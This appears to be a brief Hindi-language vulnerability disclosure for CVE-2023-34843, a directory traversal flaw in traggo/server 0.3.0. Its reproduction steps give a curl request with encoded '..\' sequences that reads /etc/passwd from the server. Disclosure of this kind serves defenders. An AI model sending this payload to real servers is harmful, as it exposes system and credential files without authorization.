rootd4ddy/cve-2023-34843CVE-2023-34843 के लिए सार्वजनिक प्रकटीकरण।
CVE-2023-34843 प्रकटीकरण
traggo/server संस्करण 0.3.0 निर्देशिका ट्रैवर्सल के लिए संवेदनशील है।
पुनरुत्पादन के चरण:
अपने एंडपॉइंट/सर्वर पर traggo/server सेटअप करें। https://traggo.net/install/
निम्नलिखित URL पर GET अनुरोध भेजें। curl -X GET http://localhost:3030/static/..%5c..%5c..%5c..%5cetc/passwd
/etc/passwd की सामग्री देखें।
